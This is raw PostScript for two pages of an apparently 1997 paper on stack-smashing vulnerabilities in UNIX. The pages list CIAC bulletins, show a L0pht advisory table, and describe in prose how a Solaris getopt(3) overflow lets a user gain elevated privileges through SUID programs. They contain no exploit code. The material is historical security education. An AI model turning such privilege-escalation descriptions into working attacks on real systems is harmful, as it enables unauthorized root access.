0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7462 M 1181 7337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7462 M 7519 7337 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7359 M (http://ciac.llnl.gov) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7336 M 1181 7232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7336 M 7519 7232 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7248 M (---------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7231 M 1181 7127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7231 M 7519 7127 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7143 M ( What's New \(04/28/97\):) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7126 M 1181 6967 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7126 M 7519 6967 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6966 M 1181 6862 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6966 M 7519 6862 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6878 M (NLS Buffer Overflow Vulnerability \(H-49\) Released \(04/28/97\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6861 M 1181 6757 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6861 M 7519 6757 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6773 M (Internet Information Server Vulnerability \(H-48\) Released \(04/21/97\) New CIA\ C Internet Hoaxes ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6756 M 1181 6652 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6756 M 7519 6652 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6668 M 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1.0000 SET_CMYK GS n 2499 9264 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3205 9264 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3809 9264 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4837 9264 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5118 9264 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5463 9264 M (well ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5826 9264 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 9264 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6672 9264 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7054 9264 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9264 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8988 M (underground ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2093 8988 M (community. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2977 8988 M (For ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3251 8988 M (example, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3899 8988 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4191 8988 M (L0pht) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4579 9029 M (8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4648 8988 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4732 8988 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4848 8988 M (underground ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5740 8988 M (organization ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6613 8988 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6784 8988 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7029 8988 M (Boston ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8712 M (area ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1532 8712 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 8712 M (publishes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2514 8712 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3084 8712 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3662 8712 M (advisories, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4422 8712 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4594 8712 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4840 8712 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5226 8712 M (manner ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5769 8712 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6061 8712 M (CERT ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6530 8712 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6712 8712 M (CIAC ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7153 8712 M (does. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8436 M (Once again, buffer overflow vulnerabilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4081 8477 M (9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4150 8436 M ( are a common thread:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8064 M 7523 8064 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8059 M 1181 7851 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8059 M 7519 7851 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7956 M (http://www.l0pht.com/advisories.html) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7850 M 1181 7663 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7850 M 7519 7663 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7762 M (Author: mudge@l0pht.com) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7662 M 1181 7475 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7662 M 7519 7475 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7574 M (Release) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 7574 M (Application) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3700 7574 M (Platforms) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7574 M (Severity) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7474 M 1181 7287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7474 M 7519 7287 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7386 M ( 1/14/97 Dynamically linked) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7386 M (Users can exploit a proble, in) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7286 M 1181 7099 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7286 M 7519 7099 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7198 M ( SUID programs calling) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7198 M (Solaris SUID programs that use) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7098 M 1181 6911 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7098 M 7519 6911 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7010 M ( getopt\(3\) Solaris OS) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7010 M (getopt\(3\) to obtain elevated) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6910 M 1181 6723 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6910 M 7519 6723 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 6822 M (privileges) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6722 M 1181 6480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6722 M 7519 6480 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6479 M 1181 6292 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6479 M 7519 6292 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6391 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1286 6391 M (Scenario: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 6391 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2108 6391 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2586 6391 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 6391 M (condition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 6391 M (exists ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4355 6391 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4565 6391 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4842 6391 M (getopt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5320 6391 M (routine. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 6391 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6142 6391 M (supplying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6821 6391 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7031 6391 M (invalid ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6291 M 1181 6104 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6291 M 7519 6104 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6203 M (option ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1709 6203 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2005 6203 M (replacing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 6203 M (argv[0] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3267 6203 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 6203 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 6203 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4021 6203 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4585 6203 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4948 6203 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 6203 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5607 6203 M (getopt\(3\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6305 6203 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6936 6203 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7299 6203 M (the ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6103 M 1181 5916 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6103 M 7519 5916 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6015 M (appropriate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2006 6015 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2542 6015 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2810 6015 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3346 6015 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3681 6015 M (instructions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 6015 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4820 6015 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5021 6015 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5624 6015 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5825 6015 M (overwrite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6495 6015 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6763 6015 M (saved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7165 6015 M (stack ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5915 M 1181 5728 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5915 M 7519 5728 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5827 M (frame ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1611 5827 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1884 5827 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2224 5827 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2698 5827 M (force ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 5827 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 5827 M (processor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4053 5827 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4259 5827 M (execute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4800 5827 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5140 5827 M (supplied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5748 5827 M (instructions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6624 5827 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6964 5827 M (elevated ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5727 M 1181 5540 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5727 M 7519 5540 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5639 M (permissions. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5539 M 1181 5297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5539 M 7519 5297 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5296 M 1181 5109 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5296 M 7519 5109 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5208 M ( Solaris Libc Vulnerability.) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5108 M 1181 4852 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5108 M 7519 4852 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 4846 M 7523 4846 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3779 4715 M (L0pht example 3.2.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4446 M (Much ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2142 4446 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2445 4446 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2702 4446 M (Xt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2922 4446 M (Library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3476 4446 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4094 4446 M (3.1.b, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4523 4446 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4780 4446 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5683 4446 M (described ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 4446 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 4446 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 4446 M (3.2.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4170 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1509 4170 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1735 4170 M (linked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2219 4170 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2583 4170 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 4170 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3590 4170 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3788 4170 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4060 4170 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4592 4170 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5289 4170 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5905 4170 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 4170 M (fact, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6474 4170 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6783 4170 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4170 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3894 M (programs linked with this library may be vulnerable to stack smashing holes.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3325 M (4. UNIX File System Permissions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3035 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1916 3035 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2339 3035 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2539 3035 M (better ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2989 3035 M (understand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3790 3035 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 3035 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4903 3035 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5967 3035 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6130 3035 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6312 3035 M (first ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6652 3035 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 3035 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2759 M (understand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 2759 M (certain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 2759 M (features ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3243 2759 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3490 2759 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 2759 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5187 2759 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5424 2759 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5735 2759 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6259 2759 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 2759 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2483 M (Privileges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1946 2483 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2148 2483 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 2483 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2913 2483 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3614 2483 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4150 2483 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4427 2483 M (invested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5054 2483 M (solely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5524 2483 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5726 2483 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6002 2483 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6353 2483 M (root) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6630 2483 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6787 2483 M (sometimes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2207 M (called ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1656 2207 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 2207 M (superuser, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2656 2207 M (r) ST -5 0 MR (o) ST -5 0 MR (o) ST -5 0 MR (t) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3077 2207 M (infallibility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3882 2207 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4051 2207 M (expected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 2207 M (under ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5137 2207 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5565 2207 M (condition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6250 2207 M (including ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 2207 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1931 M (execution. As Eugene Spafford states[6]:) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 9 9 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9874 M (``The superuser is the main security weakness in the UNIX operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9714 M (system. Because the superuser can do anything, after a person gains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9554 M (superuser privileges - for example, by learning the root password and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 9394 M (logging in as root - that person can do virtually anything to the system. This ) 